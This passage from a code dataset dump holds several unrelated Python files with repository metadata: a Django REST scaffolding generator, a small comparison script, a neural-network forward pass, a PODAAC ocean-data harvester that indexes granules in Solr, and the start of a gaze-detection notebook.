inject_app_views_imports(views_file):\n with open(views_file, 'r+') as file:\n lines = file.readlines()\n for line in lines:\n if line.startswith('from django.shortcuts import render'):\n file.write(\"from rest_framework import viewsets\\n\\n\")\n file.write(\"from drf_spectacular.utils import extend_schema, extend_schema_view\\n\\n\")\n file.write(\"@extend_schema_view(\\n\")\n file.write(' list=extend_schema(description=\"list\"),\\n')\n file.write(' retrieve=extend_schema(description=\"retrieve\"),\\n')\n file.write(' create=extend_schema(description=\"create\"),\\n')\n file.write(' update=extend_schema(description=\"list\"),\\n')\n file.write(' destroy=extend_schema(description=\"destroy\"),\\n')\n file.write(')\\n')\n\n\ndef inject_view_class_viewsets(views_file, class_name):\n with open(views_file, 'a') as file:\n file.write(f\"\\n\\nclass {class_name}ViewSet(viewsets.ModelViewSet):\\n\")\n file.write(\" queryset = \")\n file.write(f\"{class_name}.objects.all()\\n\")\n file.write(f\" serializer_class = {class_name}Serializer\\n\\n\")\n\n\ndef inject_project_url_imports(urls_file, app_name):\n with open(urls_file, 'w') as file:\n file.write(\"from django.contrib import admin\\n\") \n file.write(\"from django.urls import path, include\\n\\n\")\n\n code_to_inject = '''urlpatterns = [\n ### ADMIN URLS ###\n path('admin/', admin.site.urls),\n path('api/', include(('{appname}.urls','{appname}'), namespace='api-{appname}')),\n]'''.format(appname=app_name)\n \n file.write(code_to_inject)\n\n\ndef inject_app_clases_urls_imports(urls_file):\n with open(urls_file, 'r+') as file:\n file.write(\"from django.urls import path, include\\n\")\n file.write(\"from rest_framework import permissions\\n\")\n file.write(\"from rest_framework_extensions.routers import ExtendedSimpleRouter\\n\")\n file.write(\"from drf_yasg.views import get_schema_view\\n\")\n file.write(\"from drf_yasg import openapi\\n\")\n file.write(\"from drf_spectacular.views import SpectacularAPIView, SpectacularSwaggerView\\n\")\n file.write(\"from rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView, TokenVerifyView\\n\\n\")\n\n\ndef inject_app_clases_urls(urls_file, class_names):\n with open(urls_file, 'a') as file:\n \n try:\n for class_name in class_names:\n file.write(f\"from .views import {str(class_name)}ViewSet\\n\")\n \n file.write(\"\\nrouter: ExtendedSimpleRouter = ExtendedSimpleRouter()\\n\")\n \n for class_name in class_names:\n file.write(f\"router.register(r'{str(class_name).lower()}', {str(class_name)}ViewSet)\\n\\n\")\n\n except Exception as e:\n print(\"Exception\")\n print(e)\n\n\ndef inject_app_api_urls(urls_file, app_name):\n\n with open(urls_file, 'a') as file:\n code_to_inject = '''schema_view = get_schema_view(\n openapi.Info(\n title=\"API Documentation\",\n default_version='v1',\n description=\"API documentation for your project\",\n terms_of_service=\"https://www.example.com/terms/\",\n contact=openapi.Contact(email=\"contact@example.com\"),\n license=openapi.License(name=\"BSD License\"),\n ),\n public=True,\n permission_classes=(permissions.AllowAny,),\n )\n\nurlpatterns = [ \n ### Schema/Docs URLS ###\n path('schema/',SpectacularAPIView.as_view(), name='schema'),\n path('schema/swagger/',SpectacularSwaggerView.as_view(url_name='{appname}:schema'), name='swagger'),\n path('schema/redoc/', schema_view.with_ui('redoc', cache_timeout=0), name='schema-redoc'),\n \n ### Login JWT URLS ###\n path('token/', TokenObtainPairView.as_view(), name='token_obtain_pair'),\n path('token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),\n path('token/verify/', TokenVerifyView.as_view(), name='token_verify'),\n \n ### APP URLS ###\n path('{appname}/', include(router.urls)),\n \n ]'''.format(appname=app_name)\n \n file.write(code_to_inject)\n\ndef inject_settings(project_name,app_name):\n # Ruta al archivo settings.py\n settings_path = project_name + '/settings.py'\n \n code_to_inject = [\n \"import datetime\\n\",\n \"from django.conf import settings\\n\",\n ]\n\n # Inyectar las líneas de código\n with open(settings_path, 'r+') as f:\n lines = f.readlines()\n updated_lines = []\n\n for line in lines:\n updated_lines.append(line)\n if line.startswith(\"from pathlib import Path\"):\n updated_lines.extend(code_to_inject)\n\n f.seek(0)\n f.writelines(updated_lines)\n\n # Agregar la nueva app a INSTALLED_APPS\n with open(settings_path, 'r') as f:\n lines = f.readlines()\n\n with open(settings_path, 'w') as f:\n app_settings_name = \"{}.apps.{}Config\".format(app_name,str(app_name).capitalize()) \n for line in lines:\n f.write(line)\n if line.startswith('INSTALLED_APPS = ['):\n f.write(f\" '{app_settings_name}',\\n\")\n f.write(f\" '{'rest_framework'}',\\n\")\n f.write(f\" '{'drf_yasg'}',\\n\")\n f.write(f\" '{'rest_framework_extensions'}',\\n\")\n f.write(f\" '{'drf_spectacular'}',\\n\")\n\n code_to_inject = '''\\nREST_FRAMEWORK = {\n 'DEFAULT_SCHEMA_CLASS': 'drf_spectacular.openapi.AutoSchema',\n 'DEFAULT_PERMISSION_CLASSES': ('rest_framework.permissions.IsAuthenticated',),\n 'DEFAULT_AUTHENTICATION_CLASSES': [\n 'rest_framework_simplejwt.authentication.JWTAuthentication',\n ]\n}\n\nSIMPLE_JWT = {\n \"ACCESS_TOKEN_LIFETIME\": datetime.timedelta(minutes=5),\n \"REFRESH_TOKEN_LIFETIME\": datetime.timedelta(days=1),\n \"ROTATE_REFRESH_TOKENS\": False,\n \"BLACKLIST_AFTER_ROTATION\": False,\n \"UPDATE_LAST_LOGIN\": False,\n\n \"ALGORITHM\": \"HS256\",\n \"SIGNING_KEY\": settings.SECRET_KEY,\n \"VERIFYING_KEY\": \"\",\n \"AUDIENCE\": None,\n \"ISSUER\": None,\n \n \"AUTH_HEADER_TYPES\": (\"Bearer\",),\n}\n\n\nSPECTACULAR_SETTINGS = {\n \"TITLE\": \"API\",\n \"DESCRIPTION\": \"Description API\",\n \"VERSION\": \"2.0.0\",\n \"CONTACT\": {\n \"name\": \"Contacto\",\n \"email\": \"contacto@mail.com\",\n \"url\": \"https://contacto.com\", \n },\n \"SWAGGER_UI_SETTINGS\": {\n \"persistAuthorization\": True,\n },\n #\"SWAGGER_UI_FAVICON_HREF\": settings.STATIC_URL + \"your_company_favicon.png\", # default is swagger favicon\n}'''\n \n f.write(code_to_inject)\n\ndef inject_code(project_name,app_name,classes):\n\n inject_settings(project_name,app_name)\n\n models_path = f'{app_name}/models.py'\n\n project_urls_file = f'{project_name}/urls.py' # Ruta al archivo urls.py del projecto\n inject_project_url_imports(project_urls_file, app_name)\n \n #views_file = f'{app_name}/views.py' # Ruta al archivo views.py\n #inject_app_views_imports(views_file)\n\n serializers_file = f'{app_name}/serializers.py' # Ruta al archivo serializers.py\n inject_app_serializers_imports(serializers_file)\n\n urls_file = f'{app_name}/urls.py' # Ruta al archivo urls.py\n with open(urls_file, 'a') as file:\n file.write(\"from django.urls import path\\n\")\n file.write(f\"\\nurlpatterns = []\\n\")\n\n with open(models_path, 'w') as f:\n f.write('from django.db import models\\n\\n')\n class_names = []\n i = 0\n for class_name, attributes in classes.items():\n i+=1\n class_names.append(class_name)\n \n # Inyectar en models.py\n model_code = generate_model_code(class_name, attributes)\n f.write(model_code)\n f.write('\\n')\n\n # Inyectar en serializers.py\n serializers_file = f'{app_name}/serializers.py' # Ruta al archivo serializers.py\n inject_serializer_class_name(serializers_file, class_name)\n\n # Inyectar en views.py\n views_file = f'{app_name}/views.py' # Ruta al archivo views.py\n inject_view_class_name_imports(views_file, class_name)\n \n urls_file = f'{app_name}/urls.py' # Ruta al archivo urls.py\n # Solo una vez\n if i == 1:\n inject_app_views_imports(views_file)\n inject_app_clases_urls_imports(urls_file)\n \n inject_view_class_viewsets(views_file, class_name)\n\n if i == len(classes.items()):\n inject_app_clases_urls(urls_file, class_names)\n inject_app_api_urls(urls_file, app_name)\n\n # Inyectar en urls.py\n \n\n # Crear los modelos del admin site\n admin_path = f'{app_name}/admin.py'\n\n with open(admin_path, 'w') as f:\n f.write('from django.contrib import admin\\n')\n for class_name in classes.keys():\n f.write(f'from .models import {class_name}\\n')\n f.write('\\n')\n for class_name, attributes in classes.items():\n f.write(f'class {class_name}Admin(admin.ModelAdmin):\\n')\n f.write(f' list_display = {list(attributes.keys())}\\n\\n')\n f.write(f'admin.site.register({class_name}, {class_name}Admin)\\n')\n\ndef crear_estructuras_desde_yaml(archivo):\n result = {}\n \n def leer_archivo_yml(archivo):\n with open(archivo, 'r') as f:\n contenido = yaml.safe_load(f)\n return contenido\n\n # Lee el archivo YAML y obtén los datos como diccionario\n datos = leer_archivo_yml(archivo)\n\n # Obtiene el nombre del projecto y el nombre de la app\n project_name = datos['project_name']\n app_name = datos['app_name']\n\n # Obtiene las clases y crea las estructuras de control correspondientes\n clases = datos['clases']\n\n print(\"[SUCCESS] Nombre del projecto:\", project_name)\n\n result = {\"project_name\":project_name, \"app_name\":app_name, \"clases\":clases}\n \n return result\n\ndef only_migrations():\n subprocess.run(['python', 'manage.py', 'makemigrations'])\n subprocess.run(['python', 'manage.py', 'migrate'])\n\n\n# Llama a la función y pasa el nombre del archivo YAML como argumento\ndata = crear_estructuras_desde_yaml('config.yml')\n\nproject_name = data[\"project_name\"]\napp_name = data[\"app_name\"]\nclasses = data[\"clases\"]\n\ntry:\n if str(sys.argv[1]) == \"1\":\n if os.path.isdir(app_name):\n print(\"[INFO] Se ignora la creacion de la app, ya existe:\", app_name)\n pass\n else:\n create_app(app_name)\n time.sleep(2)\n inject_code(project_name, app_name, classes)\n time.sleep(2)\n print(\"[SUCCESS] Nombre de la app creada:\", app_name)\n print(\"[SUCCESS] Clases Creadas\")\n for clase in classes:\n pprint.pprint(clase)\n # Ejecutar las migraciones\n only_migrations()\n\nexcept Exception as e:\n print(e)\n","repo_name":"AgustinParmisano/docker_django_postgres_mysql","sub_path":"app_config_daemon.py","file_name":"app_config_daemon.py","file_ext":"py","file_size_in_byte":12357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"43078973544","text":"a=input(\"enter the some randomm number: \")\nb=input(\"enter the same random number: \")\nc=[int(i) for i in a.split()]\nd=[int(j) for j in b.split()]\nprint(c)\nprint(d)\nn=len(c)\nm=len(d)\nfor i in range(n):\n for j in range(m):\n if c[i]==d[j]:\n print('True')\n\n \n","repo_name":"shrinihegde/Pythonproblems","sub_path":"cmp.py","file_name":"cmp.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30839624342","text":"import math\n\ndef linear_layer(layer, weights):\n newlayer = []\n for weight in weights:\n newa = sum(list(map(lambda x,y: x*y, layer, weight)))\n newlayer.append(newa)\n return newlayer\n\ndef relu(layer):\n newlayer = []\n for a in layer:\n newa = max(0,a)\n newlayer.append(newa)\n return newlayer\n\ndef sigmoid(layer):\n newlayer = []\n for a in layer:\n if a <= -700:\n newa = 0\n if -700 < a < 700:\n newa = 1/(1+math.exp(-a))\n if 700 <= a:\n newa = 1\n newlayer.append(newa)\n return newlayer\n\ndef forward_pass(network,x):\n layer = x\n for n in network:\n if type(n) == list:\n layer = linear_layer(layer,n[1])\n elif n.startswith(\"sigmoid\"):\n layer = sigmoid(layer)\n elif n.startswith(\"relu\"):\n layer = relu(layer)\n return layer\n","repo_name":"berkulutas/metu-ceng-hw","sub_path":"ceng111/the3/the3-tester/the3.py","file_name":"the3.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"27265491286","text":"import logging\nimport logging.config\nimport os\nfrom datetime import datetime\nfrom urllib.request import urlcleanup, urlopen, urlretrieve\nfrom xml.etree.ElementTree import parse\n\nimport numpy as np\nimport requests\nimport xarray as xr\nfrom utils import file_utils, solr_utils\n\nlogging.config.fileConfig('logs/log.ini', disable_existing_loggers=False)\nlog = logging.getLogger(__name__)\n\n\ndef md5_check(local_fp, link):\n md5_url = f'{link}.md5'\n r = requests.get(md5_url)\n expected_md5 = r.content.decode(\"utf-8\").split(' ')[0]\n local_md5 = file_utils.md5(local_fp)\n\n return local_md5, expected_md5\n\n\ndef granule_update_check(docs, newfile, mod_date_time, time_format):\n key = newfile.replace('.NRT', '')\n\n # Granule hasn't been harvested yet\n if key not in docs.keys():\n return True\n\n entry = docs[key]\n\n # Granule failed harvesting previously\n if not entry['harvest_success_b']:\n return True\n\n # Granule has been updated since last harvest\n if datetime.strptime(entry['download_time_dt'], time_format) <= mod_date_time:\n return True\n\n # Granule is replacing NRT version\n if '.NRT' in entry['filename_s'] and '.NRT' not in newfile:\n return True\n\n # Granule is up to date\n return False\n\n\ndef harvester(config, output_path, grids_to_use=[]):\n \"\"\"\n Pulls data files for PODAAC id and date range given in harvester_config.yaml.\n Creates (or updates) Solr entries for dataset, harvested granule, fields,\n and descendants.\n \"\"\"\n\n # =====================================================\n # Read harvester_config.yaml and setup variables\n # =====================================================\n dataset_name = config['ds_name']\n date_regex = config['date_regex']\n aggregated = config['aggregated']\n start_time = config['start']\n end_time = config['end']\n host = config['host']\n podaac_id = config['podaac_id']\n data_time_scale = config['data_time_scale']\n\n if end_time == 'NOW':\n end_time = datetime.utcnow().strftime(\"%Y%m%dT%H:%M:%SZ\")\n\n target_dir = f'{output_path}/{dataset_name}/harvested_granules/'\n # If target paths don't exist, make them\n if not os.path.exists(target_dir):\n os.makedirs(target_dir)\n\n time_format = \"%Y-%m-%dT%H:%M:%SZ\"\n entries_for_solr = []\n last_success_item = {}\n start_times = []\n end_times = []\n chk_time = datetime.utcnow().strftime(time_format)\n now = datetime.utcnow()\n updating = False\n\n solr_utils.clean_solr(config, grids_to_use)\n print(f'Downloading {dataset_name} files to {target_dir}\\n')\n\n # =====================================================\n # Pull existing entries from Solr\n # =====================================================\n docs = {}\n descendants_docs = {}\n\n # Query for existing harvested docs\n fq = ['type_s:granule', f'dataset_s:{dataset_name}']\n harvested_docs = solr_utils.solr_query(fq)\n\n # Dictionary of existing harvested docs\n # harvested doc filename (without NRT if applicable) : solr entry for that doc\n if len(harvested_docs) > 0:\n for doc in harvested_docs:\n docs[doc['filename_s'].replace('.NRT', '')] = doc\n\n # Query for existing descendants docs\n fq = ['type_s:descendants', f'dataset_s:{dataset_name}']\n existing_descendants_docs = solr_utils.solr_query(fq)\n\n # Dictionary of existing descendants docs\n # descendant doc date : solr entry for that doc\n if len(existing_descendants_docs) > 0:\n for doc in existing_descendants_docs:\n descendants_docs[doc['date_s']] = doc\n\n # =====================================================\n # Setup PODAAC loop variables\n # =====================================================\n url = f'{host}&datasetId={podaac_id}'\n if not aggregated:\n url += f'&endTime={end_time}&startTime={start_time}'\n\n namespace = {\"podaac\": \"http://podaac.jpl.nasa.gov/opensearch/\",\n \"opensearch\": \"http://a9.com/-/spec/opensearch/1.1/\",\n \"atom\": \"http://www.w3.org/2005/Atom\",\n \"georss\": \"http://www.georss.org/georss\",\n \"gml\": \"http://www.opengis.net/gml\",\n \"dc\": \"http://purl.org/dc/terms/\",\n \"time\": \"http://a9.com/-/opensearch/extensions/time/1.0/\"}\n\n xml = parse(urlopen(url))\n items = xml.findall('{%(atom)s}entry' % namespace)\n\n # Parse through XML results, building dictionary of entry metadata\n # Necessary for handling NRT files\n items_dict = {}\n\n for elem in items:\n title = elem.find('atom:title', namespace).text\n try:\n updated = elem.find('atom:updated', namespace).text\n except:\n updated = chk_time\n start = elem.find('time:start', namespace).text\n end = elem.find('time:end', namespace).text\n try:\n url = elem.find('atom:link[@title=\"OPeNDAP URL\"]',\n namespace).attrib['href'][:-5]\n except:\n # A few of the 1980s AVHRR granules are missing the OPeNDAP URL. We can\n # generate it by using the http url.\n url = elem.find('atom:link[@title=\"HTTP URL\"]',\n namespace).attrib['href']\n url = url.replace('podaac-tools.jpl.nasa.gov/drive/files',\n 'podaac-opendap.jpl.nasa.gov/opendap')\n entry = {'title': title,\n 'updated': updated,\n 'start': start,\n 'end': end,\n 'url': url}\n\n items_dict[title] = entry\n\n granules_to_process = []\n\n for title, entry in items_dict.items():\n if '.NRT' in title:\n # Skip NRT if non-NRT is available\n if title.replace('.NRT', '') in items_dict.keys():\n continue\n else:\n granules_to_process.append(entry)\n else:\n granules_to_process.append(entry)\n\n for granule in granules_to_process:\n updating = False\n\n # Extract granule information from XML entry and attempt to download data file\n try:\n link = granule['url']\n\n newfile = link.split(\"/\")[-1]\n\n # Skip granules of unrecognized file format\n if not any(extension in newfile for extension in ['.nc', '.bz2', '.gz']):\n continue\n\n # Extract start and end dates from XML entry\n date_start_str = f'{granule[\"start\"][:10]}T00:00:00Z'\n date_end_str = f'{granule[\"end\"][:10]}T00:00:00Z'\n\n # Remove nanoseconds from dates\n if len(date_start_str) > 19:\n date_start_str = date_start_str[:19] + 'Z'\n if len(date_end_str) > 19:\n date_end_str = date_end_str[:19] + 'Z'\n if len(granule['updated']) > 19:\n update_time = granule['updated'][:19] + 'Z'\n else:\n update_time = granule['updated']\n\n # Ignore granules with start time less than wanted start time\n # PODAAC can grab granule previous to start time if that granule's\n # end time is the same as the config file's start time\n if date_start_str.replace('-', '') < start_time and not aggregated:\n continue\n\n mod_time = update_time\n mod_date_time = datetime.strptime(mod_time, date_regex)\n\n # Granule metadata used for Solr harvested entries\n item = {}\n item['type_s'] = 'granule'\n item['dataset_s'] = dataset_name\n item['date_s'] = date_start_str\n item['filename_s'] = newfile\n item['source_s'] = link\n item['modified_time_dt'] = mod_date_time.strftime(time_format)\n\n if newfile.replace('.NRT', '') in docs.keys():\n item['id'] = docs[newfile.replace('.NRT', '')]['id']\n\n # Granule metadata used for initializing Solr descendants entries\n descendants_item = {}\n descendants_item['type_s'] = 'descendants'\n descendants_item['dataset_s'] = dataset_name\n descendants_item['date_s'] = date_start_str\n descendants_item['filename_s'] = newfile\n descendants_item['source_s'] = link\n\n updating = granule_update_check(\n docs, newfile, mod_date_time, time_format)\n\n # If updating, download file if necessary\n if updating:\n year = date_start_str[:4]\n local_fp = f'{target_dir}{year}/{newfile}'\n\n if not os.path.exists(f'{target_dir}{year}'):\n os.makedirs(f'{target_dir}{year}')\n\n # If file doesn't exist locally, download it\n if not os.path.exists(local_fp):\n print(f' - Downloading {newfile} to {local_fp}')\n if aggregated:\n print(\n f' - {newfile} is aggregated. Downloading may be slow.')\n\n urlcleanup()\n urlretrieve(link, local_fp)\n\n # BZ2 compression results in differet MD5 values\n if 'bz2' not in local_fp:\n local_md5, expected_md5 = md5_check(local_fp, link)\n if local_md5 != expected_md5:\n raise ValueError(\n f'Downloaded file MD5 value ({local_md5}) does not match expected value from server ({expected_md5}).')\n else:\n response = requests.head(link)\n if 'Content-Length' in response.headers.keys():\n expected_size = int(\n response.headers['Content-Length'])\n actual_size = os.path.getsize(local_fp)\n if actual_size != expected_size:\n raise ValueError(\n f'Downloaded file size ({actual_size}) does not match expected size from server ({expected_size}).')\n else:\n print(\n 'Content-Length header unavailable. Unable to verify successful file download.')\n\n # If file exists locally, but is out of date, download it\n elif datetime.fromtimestamp(os.path.getmtime(local_fp)) <= mod_date_time:\n print(\n f' - Updating {newfile} and downloading to {local_fp}')\n if aggregated:\n print(\n f' - {newfile} is aggregated. Downloading may be slow.')\n\n urlcleanup()\n urlretrieve(link, local_fp)\n\n # BZ2 compression results in differet MD5 values\n if 'bz2' not in local_fp:\n local_md5, expected_md5 = md5_check(local_fp, link)\n if local_md5 != expected_md5:\n raise ValueError(\n f'Downloaded file MD5 value ({local_md5}) does not match expected value from server ({expected_md5}).')\n else:\n response = requests.head(link)\n if 'Content-Length' in response.headers.keys():\n expected_size = int(\n response.headers['Content-Length'])\n actual_size = os.path.getsize(local_fp)\n if actual_size != expected_size:\n raise ValueError(\n f'Downloaded file size ({actual_size}) does not match expected size from server ({expected_size}).')\n else:\n print(\n 'Content-Length header unavailable. Unable to verify successful file download.')\n\n else:\n print(f' - {newfile} already downloaded and up to date')\n\n # Create checksum for file\n item['checksum_s'] = file_utils.md5(local_fp)\n item['pre_transformation_file_path_s'] = local_fp\n item['harvest_success_b'] = True\n item['file_size_l'] = os.path.getsize(local_fp)\n\n # =====================================================\n # Handling data in aggregated form\n # =====================================================\n if aggregated:\n # Aggregated file has already been downloaded\n # Must extract individual granule slices\n print(\n f' - Extracting individual data granules from aggregated data file')\n\n # Remove old outdated aggregated file from disk\n for f in os.listdir(f'{target_dir}{year}/'):\n if str(f) != str(newfile):\n os.remove(f'{target_dir}{year}/{f}')\n\n ds = xr.open_dataset(local_fp)\n\n # List comprehension extracting times within desired date range\n ds_times = [\n time for time\n in np.datetime_as_string(ds.time.values)\n if start_time[:9] <= time.replace('-', '')[:9] <= end_time[:9]\n ]\n\n for time in ds_times:\n new_ds = ds.sel(time=time)\n\n if data_time_scale.upper() == 'MONTHLY':\n if not time[7:9] == '01':\n new_start = f'{time[0:8]}01T00:00:00.000000000'\n print('NS: ', new_start, 'T: ', time)\n time = new_start\n year = time[:4]\n\n file_name = f'{dataset_name}_{time.replace(\"-\",\"\")[:8]}.nc'\n local_fp = f'{target_dir}{year}/{file_name}'\n time_s = f'{time[:-10]}Z'\n\n # Granule metadata used for Solr harvested entries\n item = {}\n item['type_s'] = 'granule'\n item['date_s'] = time_s\n item['dataset_s'] = dataset_name\n item['filename_s'] = file_name\n item['source_s'] = link\n item['modified_time_dt'] = mod_date_time.strftime(\n time_format)\n item['download_time_dt'] = chk_time\n\n # Granule metadata used for initializing Solr descendants entries\n descendants_item = {}\n descendants_item['type_s'] = 'descendants'\n descendants_item['dataset_s'] = item['dataset_s']\n descendants_item['date_s'] = item[\"date_s\"]\n descendants_item['source_s'] = item['source_s']\n\n if not os.path.exists(f'{target_dir}{year}'):\n os.makedirs(f'{target_dir}{year}')\n\n try:\n # Save slice as NetCDF\n new_ds.to_netcdf(path=local_fp)\n\n # Create checksum for file\n item['checksum_s'] = file_utils.md5(local_fp)\n item['pre_transformation_file_path_s'] = local_fp\n item['harvest_success_b'] = True\n item['file_size_l'] = os.path.getsize(local_fp)\n except:\n print(f' - {file_name} failed to save')\n item['harvest_success_b'] = False\n item['pre_transformation_file_path_s'] = ''\n item['file_size_l'] = 0\n item['checksum_s'] = ''\n\n # Query for existing granule in Solr in order to update it\n fq = ['type_s:granule', f'dataset_s:{dataset_name}',\n f'date_s:{time_s[:10]}*']\n granule = solr_utils.solr_query(fq)\n\n if granule:\n item['id'] = granule[0]['id']\n\n if time_s in descendants_docs.keys():\n descendants_item['id'] = descendants_docs[time_s]['id']\n\n entries_for_solr.append(item)\n entries_for_solr.append(descendants_item)\n\n start_times.append(datetime.strptime(\n time[:-3], '%Y-%m-%dT%H:%M:%S.%f'))\n end_times.append(datetime.strptime(\n time[:-3], '%Y-%m-%dT%H:%M:%S.%f'))\n\n if item['harvest_success_b']:\n last_success_item = item\n\n else:\n print(f' - {newfile} already downloaded and up to date')\n\n except Exception as e:\n print(f' - {e}')\n log.exception(\n f'{dataset_name} harvesting error! {newfile} failed to download.')\n if updating:\n\n print(f' - {newfile} failed to download')\n\n item['harvest_success_b'] = False\n item['pre_transformation_file_path_s'] = ''\n item['file_size_l'] = 0\n\n if updating:\n item['download_time_dt'] = chk_time\n\n if date_start_str in descendants_docs.keys():\n descendants_item['id'] = descendants_docs[date_start_str]['id']\n\n descendants_item['harvest_success_b'] = item['harvest_success_b']\n descendants_item['pre_transformation_file_path_s'] = item['pre_transformation_file_path_s']\n\n if not aggregated:\n entries_for_solr.append(item)\n entries_for_solr.append(descendants_item)\n\n start_times.append(datetime.strptime(\n date_start_str, date_regex))\n end_times.append(datetime.strptime(\n date_end_str, date_regex))\n\n if item['harvest_success_b']:\n last_success_item = item\n\n # Only update Solr harvested entries if there are fresh downloads\n if entries_for_solr:\n # Update Solr with downloaded granule metadata entries\n r = solr_utils.solr_update(entries_for_solr, r=True)\n if r.status_code == 200:\n print('Successfully created or updated Solr harvested documents')\n else:\n print('Failed to create Solr harvested documents')\n\n # Query for Solr failed harvest documents\n fq = ['type_s:granule', f'dataset_s:{dataset_name}',\n f'harvest_success_b:false']\n failed_harvesting = solr_utils.solr_query(fq)\n\n # Query for Solr successful harvest documents\n fq = ['type_s:granule',\n f'dataset_s:{dataset_name}', f'harvest_success_b:true']\n successful_harvesting = solr_utils.solr_query(fq)\n\n harvest_status = f'All granules successfully harvested'\n\n if not successful_harvesting:\n harvest_status = f'No usable granules harvested (either all failed or no data collected)'\n elif failed_harvesting:\n harvest_status = f'{len(failed_harvesting)} harvested granules failed'\n\n overall_start = min(start_times) if start_times else None\n overall_end = max(end_times) if end_times else None\n\n # Query for Solr Dataset-level Document\n fq = ['type_s:dataset', f'dataset_s:{dataset_name}']\n dataset_query = solr_utils.solr_query(fq)\n\n # If dataset entry exists on Solr\n update = (len(dataset_query) == 1)\n\n # =====================================================\n # Solr dataset entry\n # =====================================================\n if not update:\n # -----------------------------------------------------\n # Create Solr dataset entry\n # -----------------------------------------------------\n ds_meta = {}\n ds_meta['type_s'] = 'dataset'\n ds_meta['dataset_s'] = dataset_name\n ds_meta['short_name_s'] = config['original_dataset_short_name']\n ds_meta['source_s'] = f'{host}&datasetId={podaac_id}'\n ds_meta['data_time_scale_s'] = config['data_time_scale']\n ds_meta['date_format_s'] = config['date_format']\n ds_meta['last_checked_dt'] = chk_time\n ds_meta['original_dataset_title_s'] = config['original_dataset_title']\n ds_meta['original_dataset_short_name_s'] = config['original_dataset_short_name']\n ds_meta['original_dataset_url_s'] = config['original_dataset_url']\n ds_meta['original_dataset_reference_s'] = config['original_dataset_reference']\n ds_meta['original_dataset_doi_s'] = config['original_dataset_doi']\n\n # Only include start_date and end_date if there was at least one successful download\n if overall_start != None:\n ds_meta['start_date_dt'] = overall_start.strftime(time_format)\n ds_meta['end_date_dt'] = overall_end.strftime(time_format)\n\n # Only include last_download_dt if there was at least one successful download\n if last_success_item:\n ds_meta['last_download_dt'] = last_success_item['download_time_dt']\n\n ds_meta['harvest_status_s'] = harvest_status\n\n # Update Solr with dataset metadata\n r = solr_utils.solr_update([ds_meta], r=True)\n\n if r.status_code == 200:\n print('Successfully created Solr dataset document')\n else:\n print('Failed to create Solr dataset document')\n\n # If the dataset entry needs to be created, so do the field entries\n\n # -----------------------------------------------------\n # Create Solr dataset field entries\n # -----------------------------------------------------\n\n # Query for Solr field documents\n fq = ['type_s:field', f'dataset_s:{dataset_name}']\n field_query = solr_utils.solr_query(fq)\n\n body = []\n for field in config['fields']:\n field_obj = {}\n field_obj['type_s'] = {'set': 'field'}\n field_obj['dataset_s'] = {'set': dataset_name}\n field_obj['name_s'] = {'set': field['name']}\n field_obj['long_name_s'] = {'set': field['long_name']}\n field_obj['standard_name_s'] = {'set': field['standard_name']}\n field_obj['units_s'] = {'set': field['units']}\n\n for solr_field in field_query:\n if field['name'] == solr_field['name_s']:\n field_obj['id'] = {'set': solr_field['id']}\n\n body.append(field_obj)\n\n if body:\n # Update Solr with dataset fields metadata\n r = solr_utils.solr_update(body, r=True)\n\n if r.status_code == 200:\n print('Successfully created Solr field documents')\n else:\n print('Failed to create Solr field documents')\n\n # if dataset entry exists, update download time, converage start date, coverage end date\n else:\n # -----------------------------------------------------\n # Update Solr dataset entry\n # -----------------------------------------------------\n dataset_metadata = dataset_query[0]\n\n # Query for dates of all harvested docs\n fq = [f'dataset_s:{dataset_name}',\n 'type_s:granule', 'harvest_success_b:true']\n dates_query = solr_utils.solr_query(fq, fl='date_s')\n dates = [x['date_s'] for x in dates_query]\n\n # Build update document body\n update_doc = {}\n update_doc['id'] = dataset_metadata['id']\n update_doc['last_checked_dt'] = {\"set\": chk_time}\n if dates:\n update_doc['start_date_dt'] = {\"set\": min(dates)}\n update_doc['end_date_dt'] = {\"set\": max(dates)}\n\n if entries_for_solr:\n update_doc['harvest_status_s'] = {\"set\": harvest_status}\n\n if 'download_time_dt' in last_success_item.keys():\n update_doc['last_download_dt'] = {\n \"set\": last_success_item['download_time_dt']}\n\n # Update Solr with modified dataset entry\n r = solr_utils.solr_update([update_doc], r=True)\n\n if r.status_code == 200:\n print('Successfully updated Solr dataset document\\n')\n else:\n print('Failed to update Solr dataset document\\n')\n\n return harvest_status\n","repo_name":"ECCO-GROUP/ECCO-ACCESS","sub_path":"ecco_pipeline/harvesters/podaac_harvester.py","file_name":"podaac_harvester.py","file_ext":"py","file_size_in_byte":24598,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"29549008077","text":"import sys\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as pyplot\nimport matplotlib.pyplot as plt\n# display plots in this notebook\nget_ipython().run_line_magic('matplotlib', 'inline')\n# filter out the warnings\nimport warnings\nwarnings.filterwarnings('ignore')\nsys.path.insert(0, '../')\n\nfrom gaze_detector import extract_features_and_detect_gazes\nfrom features import extract_image_features, draw_detected_features\nfrom gaze import test_faces\n\nimg = cv2.imread('photos/frame-36.png')\n\nimg, faces, face_features = extract_image_features(img)\n\nimage_copy = np.copy(img)\n\ndraw_detected_features(image_copy, faces, face_features)\n\nplt.imshow(cv2.cvtColor(image_copy, cv2.COLOR_BGR2RGB))\n\nfrom lib import crop_image\n\ndef set_title_and_hide_axis(title):\n plt.title(title)\n plt.axes().get_xaxis().set_visible(False)\n plt.axes().get_yaxis().set_visible(False)\n\ndef render_face_grid(face_grid):\n to_print = np.copy(face_grid)\n result_image = np.copy(to_print).reshape(25, 25).transpose()\n plt.figure()\n set_title_and_hide_axis('Face grid')\n# print(result_image.shape)\n plt.imshow(result_image)\n\ndef show_extraction_results(img, faces, face_features):\n plt.figure(figsize=(10,10))\n# set_title_and_hide_axis('Original image and extracted features')\n image_copy = np.copy(img)\n\n draw_detected_features(image_copy, faces, face_features)\n plt.imshow(cv2.cvtColor(image_copy, cv2.COLOR_BGR2RGB), interpolation=\"bicubic\")\n\n for i, face in enumerate(faces):\n print('Face #' + str(i))\n #print('i', face, i)\n eyes, face_grid = face_features[i]\n plt.figure()\n 